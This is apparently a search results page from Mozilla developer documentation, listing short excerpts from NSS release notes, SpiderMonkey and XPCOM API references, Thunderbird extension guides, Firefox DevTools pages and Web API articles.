... the following ca certificates were removed cn = staat der nederlanden root ca sha-256 fingerprint: d4:1d:82:9e:8c:16:59:82:2a:f9:3f:ce:62:bf:fc:de:26:4f:c8:4e:8b:95:0c:5f:f2:75:d0:52:35:46:95:a3 cn = netlock minositett kozjegyzoi (class qa) tanusitvanykiado sha-256 fingerprint: e6:06:dd:ee:e2:ee:7f:5c:de:f5:d9:05:8f:f8:b7:d0:a9:f0:42:87:7f:6a:17:1e:d8:ff:69:60:e4:cc:5e:a5 cn = netlock kozjegyzoi (class a) tanusitvanykiado sha-256 fingerprint: 7f:12:cd:5f:7e:5e:29:0e:c7:d8:51:79:d5:b7:2c:20:a5:be:75:08:ff:db:5b:f8:1a:b9:68:4a:7f:c9:f6:67 cn = netlock uzleti (class b) tanusitvanykiado sha-256 fingerprint: 39:df:7b:68:2b:7b:93:8f:84:71:54:81:cc:de:8d:60:d8:f2:2e:c5:98:87:7d:0a:aa:c1:2b:59:18:2b:03:12 ...
...And 5 more matches
NSS 3.29.1 release notes
nss 3.29.1 requires netscape portable runtime (nspr) 4.13.1 or newer.
...that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams.
...if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute.
...And 5 more matches
NSS 3.38 release notes
when creating a certificate request (csr) using certutil -r, an existing orphan private key can be reused.
...the available orphan key ids can be displayed using command certutil -k.
... when using certutil -o to print the chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, which can avoid ambiguous output in some scenarios.
...And 5 more matches
NSS Sample Code sample4
nss sample code 4: pki encryption /* example code to illustrate pki crypto ops (encrypt with public key, * decrypt with private key) * * code assumes that you have set up a nss database with a certificate * and a private key.
... the db password should be "test" and the cert * nickname should be "testca" * here is one way of doing it: * # create ca cert db, if -f not provided, prompts for passwd * $ certutil -n -d .
... * # create ca cert, self-signed, generates key-pair, prompts for key * # type, cert type etc * # answers for prompts: 5,9,n,y,-1,n,5,6,7,9,n * $ certutil -s -s "cn=test ca, o=bogus inc, l=mtn view, st=ca, c=us" \ * -n testca -t ctu,ctu,ctu -v 60 -x -d .
...And 5 more matches
SSL functions
the public functions listed here are used to configure sockets for communication via the ssl and tls protocols.
... in addition to the functions listed here, applications that support ssl use some of the certificate functions, crypto functions, and utility functions described below on this page.
... other sources of information: the nss_reference documents the functions most commonly used by applications to support ssl.
...And 5 more matches
NSS Tools certutil-tasks
improve certificate listings.
... sorting by trust will return ca certs first.
... improve coherence of key and certificate nicknames.
...And 5 more matches
Rhino optimization
another benefit of the interpreted mode is that the interpreter performs tail-call elimination of recursive functions.
...simple data and type flow analysis is performed to determine which javascript variables can be allocated to java vm registers, and which variables are used only as numbers.
... local common sub-expressions are collapsed (currently this only happens for property lookup, but in the future more expressions may be optimized).
...And 5 more matches
Bytecodes
background spidermonkey bytecodes are the canonical form of code representation that is used in the javascript engine.
...bytecodes can reference atoms and objects (typically by array index) which are also contained in the jsscript data structure.
...a frame on the stack has space for javascript values (the tagged value format) in a few different categories.
...And 5 more matches
JS::CompileOffThread
syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type description cx / maybe jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... callback js::offthreadcompilecallback a callback function invoked when the compilation.
...And 5 more matches
JSExtendedClass.wrappedObject
this article covers features introduced in spidermonkey 1.8 callback for objects that wrap other objects.
...in a few cases the javascript engine will pretend the wrapper isn't there, instead operating on the object it wraps.
... in these cases the engine calls the jsextendedclass.wrappedobject callback to get the wrapped object.
...And 5 more matches
JSFinalizeOp
the garbage collector calls this callback for each object it collects.
... the finalizer's job is to clean up any resources allocated by the instance which wouldn't normally be cleaned up by the garbage collector (private data stored in the object by the application, file handles, etc.) finalizers must never store a reference to obj.
... warning: this hook is called during garbage collection.
...And 5 more matches
JSNewResolveOp
jsnewresolveop is the type of the jsclass.resolve callback when the jsclass_new_resolve bit is set in the jsclass.flags field.
...on success, the callback must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true.
...this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_new_resolve is set in jsclass.flags.
...And 5 more matches
JSObjectOps.defaultValue
the javascript engine calls the jsobjectops.defaultvalue and jsclass.convert callbacks to convert objects to primitive values.
...on success, the callback must store the converted value here.
... description the jsobjectops.defaultvalue callback corresponds to the [[defaultvalue]] method defined in ecma 262-3 §8.6.2.6.
...And 5 more matches
JS_DeleteProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_deleteucproperty) the length of name in characters; or -1 to indicate that name is null-terminated.
...these functions are identical to js_deleteproperty2 and js_deletepropertybyid2 except that they do not have an out parameter.
...And 5 more matches
JS_NewRuntime
syntax jsruntime * js_newruntime(uint32_t maxbytes, uint32_t maxnurserybytes = js::defaultnurserybytes, jsruntime *parentruntime = nullptr); jsruntime * js_newruntime(uint32_t maxbytes, jsusehelperthreads usehelperthreads, jsruntime *parentruntime = nullptr); // deprecated since jsapi 32 name type description maxbytes uint32 maximum number of allocated bytes after which garbage collection is run.
...call js_newruntime before making any other api calls except js_init.
... js_newruntime allocates memory for the jsruntime and initializes certain internal runtime structures.
...And 5 more matches
JS_SetParent
in a js_threadsafe build, the caller must be in a request on this jscontext.
...applications that use spidermonkey's security features typically use the parent relation to determine both (a) what security principals are attached to the currently executing script; and (b) what security principals are attached to the object being accessed.
... (for some function objects, the parent chain is also used to implement lexical scoping, but this should be considered an implementation detail.) ordinarily an application sets a new object's parent by passing the parent object to js_newobject, and that is the preferred approach.
...And 5 more matches
JS_SetProperty
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_setucproperty) the length of name in characters; or -1 to indicate that name is null-terminated.
... if obj is a native object with custom setgeneric op, the op is called with (cx, obj, id, &v, false)).
...And 5 more matches
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use ccache, you can enable it by adding --with-ccache to the arguments list.
... give the project a name that you like ("spidermonkey" has a nice ring to it) and use the "browser…" button to select your checkout's js/src folder for the "existing code location".
... step 3 - index all the code to let cdt know about the build, it has to invoke make itself (or, as is done in the guide for the whole mozilla codebase on mdn, read a log of the build), which can be setup with these simple steps: open the project's properties by selecting its root and clicking "properties" in the "file" menu and select "c/c++ build".
...And 5 more matches
Using the Places favicon service
creating the favicon service the favicon service's contract id is @mozilla.org/browser/favicon-service;1, so to gain access to the favicon service, you should do something like this: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); caching the favicon service stores an expiration time for each favicon.
...if you are manually loading favicon data, you can specify the expiration time yourself.
...most of the time, the favicon will be served from the browser's cache and will have minimal performance impact.
...And 5 more matches
Using the Places livemark service
you can also use it to check whether an item is a livemark.
...you can convert a string into an nsiuri using nsiioservice.
...this creates the encapsulating livemark without actually fetching the rss feed's contents.
...And 5 more matches
Bundling multiple binary components
the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
... this can create a difficult situation for extension developers trying to support multiple gecko versions (firefox 2 and 3, for example).
... possible solutions this article covers two possible ways to make binary components support multiple version of gecko: dynamic method loading stub loader dynamic method loading the idea with this approach is to figure out all the methods imported from gecko and dynamically load the methods.
...And 5 more matches
Generic factory
summary most xpcom factories can be very simple.
...the new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed.
... /** * provides a generic nsifactory implementation that can be used by * dlls with very simple factory needs.
...And 5 more matches
Creating XPCOM components
next » this guide is about gecko, and about creating xpcom components for gecko-based applications.
... though the emphasis is on the practical steps you take to make your c++ code into a component that can be used in gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up xpcom.
... accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics individually, as in a reference work.
...And 5 more matches
mozIStorageVacuumParticipant
/storage/public/mozistoragevacuumparticipant.idlscriptable components can implement this interface to provide information to allow a database to be periodically vacuumed by the storage service.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of this interface, use the category manger, with the category "vacuum-participant".
...note: if the database is using the wal journal node and the current page size is not the expected one, the journal node will be changed to truncate because wal doesn't allow page size changes.
...And 5 more matches
nsIDBFolderInfo
nsidbfolderinfo - careful, pulled from the wrong (cvs) repo!
... getbooleanproperty(in string propertyname, in boolean defaultvalue); void getcharacterset(out acstring charset, out boolean overriden); void getcharactersetoverride(out boolean charactersetoverride); obsolete since gecko 1.8 string getcharptrcharacterset(); string getcharptrproperty(in string propertyname); void getlocale(in nsstring result); native code only!
...ng propertyname, in boolean apropertyvalue); void setcharacterset(in string charset); void setcharactersetoverride(in boolean charactersetoverride); obsolete since gecko 1.8 void setcharptrproperty(in string apropertyname, in string apropertyvalue); void sethighwater(in nsmsgkey highwater, in boolean force); void setlocale(in nsstring locale); native code only!
...And 5 more matches
nsIDOMChromeWindow
this method will fail unless called while the left mouse button is held down, callers must check this.
...getattentionwithcyclecount() same as getattention method excepting that this can specify the maximum number of times to animate the window per system conventions.
...notifydefaultbuttonloaded() when a document has been loaded, the document can notify the default button of the document to the window by using this method.
...And 5 more matches
nsIDOMMouseScrollEvent
method overview void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstractview viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis); attributes attribute type ...
... description axis long indicates which mouse wheel axis changed; this will be either horizontal_axis or vertical_axis.
... vertical_axis 2 the vertical (y) axis.
...And 5 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...obsolete since gecko 6.0 linkcolor domstring same as body.link plugins nsidomhtmlcollection same as embeds for compatibility with netscape 4.x read only.
...obsolete since gecko 6.0 methods captureevents() provided for compatibility with netscape 4.x, but does not actually do anything.
...And 5 more matches
nsIException
there is no unambiguous indicator for unknown.
... filename string filename location.
... this is the location that caused the error, which may or may not be a source file location.
...And 5 more matches
nsIHttpServer
(not supported) * @param function callback optional callback */ listen: function(port, opt, callback) { if (arguments.length == 2 && "function" == typeof opt) { callback = opt; } if (callback) { this.registerprefixhandler("/", callback); } let host = "localhost"; if (typeof port === "string" && port.indexof(':...
...') != -1){ [host, port] = port.split(':'); port = parseint(port); server.identity.add('http', host, port); } server.wrappedjsobject._start(port, host); return true; }, registerfile: function(path, filepath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath(filepath); return server.registerfile(path, file); }, registerdirectory : function(path, directorypath) { var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwi...
...thpath(directorypath); return server.registerdirectory(path, file); }, registerpathhandler: function(path, handlercallback) { server.registerpathhandler(path, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercallback(req, resp); }); }, registerprefixhandler: function(prefix, handlercallback) { server.registerprefixhandler(prefix, function (request, response) { var req = createhttprequest(request); var resp = new httpresponse(response); handlercallback(req, resp); }); }, close: function(){ ...
...And 5 more matches
nsILoginManagerStorage
methods addlogin() called by the login manager to store a new login.
...this method is called, for example, to check to see if there is a login that will match the criteria without having to ask the user for their master password in order to decrypt the logins.
...this method is called by the login manager when looking for saved logins that might apply to a form or authentication request.
...And 5 more matches
nsIMsgAccountManagerExtension
the interface is basically a manifest and defines the properties of the new panel.
... a panel consists of a xul file with a page element as root element and the property file containing the localized name.
...an account manager extension with a "name" attribute of "devmo" and the "chromepackagename" attribute set to "extension@example.org" means, that the account manager expects to find a xul file in "chrome://extension@example.org/content/am-devmo.xul" and a property file in "chrome://extension@example.org/locale/am-devmo.properties" containing a property named "prefpanel-devmo".
...And 5 more matches
nsIMsgProtocolInfo
the nsimsgprotocolinfo interface describes the capabilities of an account type.
... method overview long getdefaultserverport(in boolean issecure); attributes attribute type description candelete boolean true if an account of this type may be deleted.
... canduplicate boolean unused.
...And 5 more matches
nsIPluginHost
the caller is required to free the resulting memory with nsimalloc.free().
...the caller is responsible for opening the channel.
... it may or may not be already opened when this function is called.
...And 5 more matches
nsIPushSubscription
the remote server can use these keys to encrypt and authenticate message payloads.
... the following key names are supported: p256dh the ecdh public key, used as the input keying material in the hkdf invocation during encryption.
... auth the shared authentication secret, used as the salt in the hkdf invocation.
...And 5 more matches
nsIScriptError2
method overview void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attributes attribute type description innerwindowid unsigned long long the inner window id with which the error is associated.
... this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...And 5 more matches
nsIServerSocket
the nsiserversocket interface implements a server socket that can accept incoming connections.
...the listener's onsocketaccepted() method will be called on the same thread that called asynclisten() (the calling thread must have an nsieventtarget).
...this will cause the onstoplistening event to asynchronously fire with a status of ns_binding_aborted.
...And 5 more matches
nsISound
note that nsisound instances may play the sounds using another thread; however, this is not controlled by the caller.
... event_prompt_dialog_open 3 a prompt dialog (one that allows the user to enter data, such as an authentication dialog) is opened.
...other methods will call init if they need to.
...And 5 more matches
nsITaskbarTabPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab preview support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpreview for a window will automatically hide that window's nsitaskbarwindowpreview; this is done by windows and cannot be prevented.
... when there are no more tab previews left for a window, the window preview is automatically made visible again.
... an application may have as many tab previews as memory allows.
...And 5 more matches
nsITaskbarWindowPreview
1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowpreview() to get the taskbar preview for a specific window.
... window preview behavior by default, windows implements much of the behavior for applications in a standard way.
... this interface's primary purpose is to let gecko applications take control over parts of the preview; however, certain parts of the preview are not controlled using this interface.
...And 5 more matches
nsIWebappsSupport
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication() this method installs a web application.
... void installapplication( in wstring title, in wstring uri, in wstring iconuri, in wstring icondata ); parameters title the user-friendly name of the application.
... uri the uri of the web application.
...And 5 more matches
XPCOM ownership guidelines
such a function is the perfect example of something that creates an object with a longer lifespan that itself, and gives away ownership (by producing a pointer that is already addrefed) --- in this case, to the caller.
... this is terrific for factory functions, but can be problematic for mere getters.
...in the latter case, caching the pointer you got back makes you a de facto owner.
...And 5 more matches
The libmime module
pizzarro <rhp@netscape.com> this module, libmime, implements a general-purpose mime parser.
... typedef struct foobarclass foobarclass; typedef struct foobar foobar; class declaration theis structure defines the callback routines and other per-class data of the class defined in this module.
... struct foobarclass { parentclass superclass; ...any callbacks or class-variables...
...And 5 more matches
Building a Thunderbird extension 1: introduction
thunderbird is a community managed open-source email application.
...similar to firefox, thunderbird functionality can be enhanced and customized via extensions.
...the tutorial has the following pages: introduction (this page) the extension filesystem (setting up your local system) install manifest (the install.rdf file that contains meta-information about the extension) chrome manifest (list of packages and overlays) xul (the xml user interface language that is used to modify the thunderbird user interface) adding javascript (explains how to add some simple javascript to your thunderbird extension) installing locally (enabling the extension on your local thunderbird in...
...And 5 more matches
libmime content type handlers
pizzarro <rhp@netscape.com> contents overview api's plugin location/installation sample content type handler plugin overview the libmime module implements a general-purpose mime parser and one of the primary methods provided by the parser is the ability to emit an html representation of an input stream.
... a necessary capability of this module is to dynamically add the ability to decode and render various content types.
... api's content type handler plugins are dynamically loaded and need to access internal pointers, functions that are part of the c based object system.
...And 5 more matches
Virtualenv
you can download it from its pypi package page or install it with easy_install.
... if you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git if you have pip or easy_install, you can install virtualenv directly from the web: pip install virtualenv # -or- easy_install virtualenv this will fetch virtualenv from pypi and install it in your site-packages.
...if you do not have pip or easy_install, you will need to download from pypi or clone from the github virtualenv repository, extract from the tarball (in the pypi case), and run python setup.py install.
...And 5 more matches
StructType
if this isn't specified, the structure is considered opaque and you can't access its contents directly.
... you can call the resulting type's define() method to assign it a non-opaque type later.
... rangeerror the size of the structure, in bytes, cannot be represented both as a size_t and as a javascript number.
...And 5 more matches
UInt64
this may be specified as an integer (if the value can be represented as a 32-bit value), another 64-bit integer object (either signed or unsigned), or as a string, which may consist of an optional minus sign, followed by either a decimal number or "0x" or "0x" followed by a hexadecimal number.
...you can therefore use a string to represent a 64-bit value that is too large to represent as a 32-bit javascript number.
... exceptions thrown typeerror the specified value cannot be converted into a 64-bit integer.
...And 5 more matches
Edit Shape Paths in CSS - Firefox Developer Tools
activate / deactivate the shape path editor the shape path editor is accessed via the css rules panel, which can be opened as described in the guide to opening the inspector.
... clicking the icon will cause the editor to highlight the shape.
...options can be accessed by activating the shape path editor with a regular click on the icon, and you can use the context menu (ctrl/cmd + click) to access additional functionality.
...And 5 more matches
Web Audio Editor - Firefox Developer Tools
notice: this tool has been deprecated and will soon be removed from firefox.
... for details, see deprecated tools.
...you can then examine and edit the audioparam properties for each node in the graph.
...And 5 more matches
Firefox Developer Tools
you can use them to examine, edit, and debug html, css, and javascript.
... if you have any feedback on devtools, or want to contribute to the project, you can join the devtools community.
... the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the keyboard shortcut ctrl + shift + i or f12 on windows and linux, or cmd + opt + i on macos.
...And 5 more matches
Animation.startTime - Web APIs
the animation.starttime property of the animation interface is a double-precision floating-point value which indicates the scheduled time when an animation's playback should begin.
...an animation’s start time is initially unresolved (meaning that it's null because it has no value).
...you can read this value to determine what the start time is currently set at, and you can change this value to make the animation start at a different time.
...And 5 more matches
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
... note: during the standardization process, this method was removed from the specification.
... it has been deprecated and is in the progress of being removed from most implementations.
...And 5 more matches
Attr.namespaceURI - Web APIs
WebAPIAttrnamespaceURI
syntax namespace = attribute.namespaceuri example in this snippet, an attribute is being examined for its localname and its namespaceuri.
... if the namespaceuri returns the xul namespace and the localname returns "browser", then the node is understood to be a xul <browser/>.
... if (attribute.localname == "value" && attribute.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { // this is a xul value } notes this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
...And 5 more matches
AudioListener.positionX - Web APIs
the positionx read-only property of the audiolistener interface is an audioparam representing the x position of the listener in 3d cartesian space.
...its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
...And 5 more matches
AudioListener.positionY - Web APIs
the positiony read-only property of the audiolistener interface is an audioparam representing the y position of the listener in 3d cartesian space.
...its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
...And 5 more matches
AudioListener.positionZ - Web APIs
the positionz read-only property of the audiolistener interface is an audioparam representing the z position of the listener in 3d cartesian space.
...its default value is 0, and it can range between positive and negative infinity.
... example in the following example, you can see an example of how the createpanner() method, audiolistener and pannernode would be used to control audio spatialisation.
...And 5 more matches
AudioParam.value - Web APIs
WebAPIAudioParamvalue
setting value has the same effect as calling audioparam.setvalueattime with the time returned by the audiocontext's currenttime property..
... syntax var curvalue = audioparam.value; audioparam.value = newvalue; value a floating-point number indicating the parameter's value as of the current time.
... consider this example: const source = new audiobuffersourcenode(...); const rate = 5.3; source.playbackrate.value = rate; console.log(source.playbackrate.value === rate); the log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863.
...And 5 more matches
CSSStyleDeclaration.setProperty() - Web APIs
syntax style.setproperty(propertyname, value, priority); parameters propertyname is a domstring representing the css property name (hyphen case) to be modified.
...the following values are accepted: string value "important" keyword undefined string empty value "" return value undefined exceptions domexception (nomodificationallowederror): if the property or declaration block is read only.
... if priority can be omitted, javascript has a special simpler syntax for setting a css property on a style declaration object: style.csspropertyname = 'value'; examples in this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of this section).
...And 5 more matches
Channel Messaging API - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two iframes, or the main document and an iframe, two documents via a sharedworker, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
...once created, the two ports of the channel can be accessed through the messagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to.
... for instance a port, when is sent, cannot be used anymore by the original context.
...And 5 more matches
CharacterData - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
... characterdata.appenddata() appends the given domstring to the characterdata.data string; when this method returns, data contains the concatenated domstring.
... specifications specification status comment domthe definition of 'characterdata' in that specification.
...And 5 more matches
Clients.openWindow() - Web APIs
if the calling script doesn't have permission to show popups, openwindow() will throw an invalidaccesserror.
... in firefox, the method is allowed to show popups only when called as the result of a notification click event.
...generally this value must be a url from the same origin as the calling script.
...And 5 more matches
Clipboard - Web APIs
WebAPIClipboard
the clipboard api can be used to implement cut, copy, and paste features within a web application.
... calls to the methods of the clipboard object will not succeed if the user hasn't granted the needed permissions using the permissions api and the "clipboard-read" or "clipboard-write" permission as appropriate.
... note: in reality, at this time browser requirements for access to the clipboard vary significantly.
...And 5 more matches
Credential Management API - Web APIs
these capabilities allow users to sign in without typing passwords, see the federated account they used to sign in to a site, and resume a session without the explicit sign-in flow of an expired session.
... credential management concepts and usage this api lets websites interact with a user agent’s password system so that websites can deal in a uniform way with site credentials and user agents can provide better assistance with the management of their credentials.
...this give users capabilities such as seeing the federated account they used to sign on to a site, or resuming a session without the explicit sign-in flow of an expired session.
...And 5 more matches
DOMMatrix - Web APIs
WebAPIDOMMatrix
if the matrix can't be inverted, its components are all set to nan, and is2d returns false.
... dommatrix.scalenonuniformself() modifies the matrix by applying the specified scaling on the x, y, and z axes, centered at the given origin.
... by default, the y and z axes' scaling factors are both 1, but the scaling factor for x must be specified.
...And 5 more matches
DataTransfer.dropEffect - Web APIs
the datatransfer.dropeffect property controls the feedback (typically visual) the user is given during a drag and drop operation.
...for example, when the user hovers over a target drop element, the browser's cursor may indicate which type of operation will occur.
...how this is determined is platform specific, but typically the user can press modifier keys such as the alt key to adjust the desired action.
...And 5 more matches
DataTransfer.effectAllowed - Web APIs
the copy operation is used to indicate that the data being dragged will be copied from its present location to the drop location.
... the move operation is used to indicate that the data being dragged will be moved, and the link operation is used to indicate that some form of relationship or connection will be created between the source and drop locations.
... copy a copy of the source item may be made at the new location.
...And 5 more matches
DataTransfer.setDragImage() - Web APIs
this image is created automatically, so you do not need to create it yourself.
... however, if a custom image is desired, the datatransfer.setdragimage() method can be used to set the custom image to be used.
... the image will typically be an <image> element but it can also be a <canvas> or any other visible element.
...And 5 more matches
Document.createProcessingInstruction() - Web APIs
target is a string containing the first part of the processing instruction (i.e., <?target … ?>) data is a string containing any information the processing instruction should carry, after the target.
... the data is up to you, but it can't contain ?>, since that closes the processing instruction.
... exceptions dom_invalid_character throws if either of the following are true: the processing instruction target is invalid — it should be a valid xml name that doesn't contain "xml", "xml", or any case combination of the two, other than standardized ones such as <?xml-stylesheet ?>.
...And 5 more matches
DocumentFragment - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monos...
...because all of the nodes are inserted into the document at once, only one reflow and render is triggered instead of potentially one for each node inserted if they were inserted separately.
... an empty documentfragment can be created using the document.createdocumentfragment() method or the constructor.
...And 5 more matches
DocumentOrShadowRoot.elementFromPoint() - Web APIs
if the method is run on another document (like an <iframe>'s subdocument), the coordinates are relative to the document where the method is being called.
... if you need to find the specific position inside the element, use document.caretpositionfrompoint().
... y the vertical coordinate of a point, relative to the top edge of the current viewport.
...And 5 more matches
Events and the DOM - Web APIs
eventtarget.addeventlistener // assuming mybutton is a button element mybutton.addeventlistener('click', greet, false) function greet(event){ // print and have a look at the event object // always print arguments in case of overlooking any other arguments console.log('greet:', arguments) alert('hello world') } this is the method you should use in modern web pages.
... more details can be found on the eventtarget.addeventlistener reference page.
...the return value is treated in a special way, described in the html specification.
...And 5 more matches
Document Object Model (DOM) - Web APIs
the dom represents a document with a logical tree.
...with them, you can change the document's structure, style, or content.
... nodes can also have event handlers attached to them.
...And 5 more matches
Element.attachShadow() - Web APIs
elements you can attach a shadow to note that you can't attach a shadow root to every type of element.
... there are some that can't have a shadow dom for security reasons (for example <a>), and more besides.
... the following is a list of elements you can attach a shadow root to: any autonomous custom element with a valid name <article> <aside> <blockquote> <body> <div> <footer> <h1> <h2> <h3> <h4> <h5> <h6> <header> <main> <nav> <p> <section> <span> syntax var shadowroot = element.attachshadow(shadowrootinit); parameters shadowrootinit a shadowrootinit dictionary, which can contain the following fields: mode a string specifying the encapsulation mode for the shadow dom tree.
...And 5 more matches
Element.getAttributeNS() - Web APIs
note: earlier versions of the dom specification had this method described as returning an empty string for non-existent attributes, but it was not typically implemented this way since null makes more sense.
... the dom4 specification now says this method should return null for non-existent attributes.
... prior to the dom4 specification, this method was specified to return an empty string rather than null for non-existent attributes.
...And 5 more matches
Element.getBoundingClientRect() - Web APIs
the element's size is equal to its width/height + padding + border-width in the case that the standard box model is being used, or width/height only if box-sizing: border-box has been set on it.
...this means that the rectangle's boundary edges (top, right, bottom, left) change their values every time the scrolling position changes (because their values are relative to the viewport and not absolute).
... if you need the bounding rectangle relative to the top-left corner of the document, just add the current scrolling position to the top and left properties (these can be obtained using window.scrollx and window.scrolly) to get a bounding rectangle which is independent from the current scrolling position.
...And 5 more matches
Element.getClientRects() - Web APIs
the getclientrects() method of the element interface returns a collection of domrect objects that indicate the bounding rectangles for each css border box in a client.
...for tables with captions, the caption is included even though it's outside the border box of the table.
... when called on svg elements other than an outer-<svg>, the "viewport" that the resulting rectangles are relative to is the viewport that the element's outer-<svg> establishes (and to be clear, the rectangles are also transformed by the outer-<svg>'s viewbox transform, if any).
...And 5 more matches
Element.getElementsByClassName() - Web APIs
usage notes as always, the returned collection is live, meaning that it always reflects the current state of the dom tree rooted at the element on which the function was called.
... in quirks mode, the class names are compared in a case-insensitive fashion.
... otherwise, they're case sensitive.
...And 5 more matches
Element.msZoomTo() - Web APIs
WebAPIElementmsZoomTo
zoomed elements can expose their zoom level through mscontentzoom (ie.
...the zoom level can be reset with mszoomto.
...if no value is specified, defaults to the current centerpoint of visible content, vertically.
...And 5 more matches
EventTarget - Web APIs
eventtarget is a dom interface implemented by objects that can receive events and may have listeners for them.
... element, document, and window are the most common event targets, but other objects can be event targets, too.
